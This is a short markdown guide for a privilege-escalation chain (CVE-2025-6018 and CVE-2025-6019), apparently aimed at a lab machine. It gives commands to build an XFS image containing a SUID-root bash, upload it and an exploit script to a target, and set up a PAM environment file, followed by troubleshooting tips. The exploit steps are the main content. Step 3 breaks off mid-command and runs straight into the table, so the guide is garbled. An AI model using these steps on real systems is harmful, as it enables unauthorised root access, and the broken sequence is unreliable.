# CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide

## 📋 Quick Exploitation Steps

### Step 1: Prepare XFS Image (Local Machine)

```bash
# Create 300MB XFS image
dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image

# Mount and install SUID bash
mkdir mnt
sudo mount -t xfs xfs.image mnt
sudo cp /bin/bash mnt/bash
sudo chmod 4755 mnt/bash
sudo umount mnt
rmdir mnt

# Verify (should show 300M)
ls -lh xfs.image
```

---

### Step 2: Upload Files to Target

```bash
# Upload exploit script and image
scp exp.sh abc@10.129.252.9:~/
scp xfs.image abc@10.129.252.9:~/
```

---

### Step 3: First Login - Configure PAM

```bash
# SSH login to target
ssh phileasfogg3@10.129.252.9

# Write PAM environment variables
cat > ~/.pam_environment                                              ║

## 🔧 Troubleshooting

| Issue                         | Solution                                         |
| ----------------------------- | ------------------------------------------------ |
| `CanReboot` returns `('no',)` | Make sure you logged out and back in (Step 3)    |
| `Not authorized` error        | Check `~/.pam_environment` content is correct    |
| SUID bash not found           | Re-upload `xfs.image` and verify SUID bit is set |

## 📌 Key Points

- ✅ **Must logout and re-login**: PAM config only takes effect in new sessions
- ✅ **Verify CanReboot**: Confirm it returns `('yes',)` before running script
- ✅ **Use SSH login**: Don't use `ssh -t user@host "cmd"` style execution
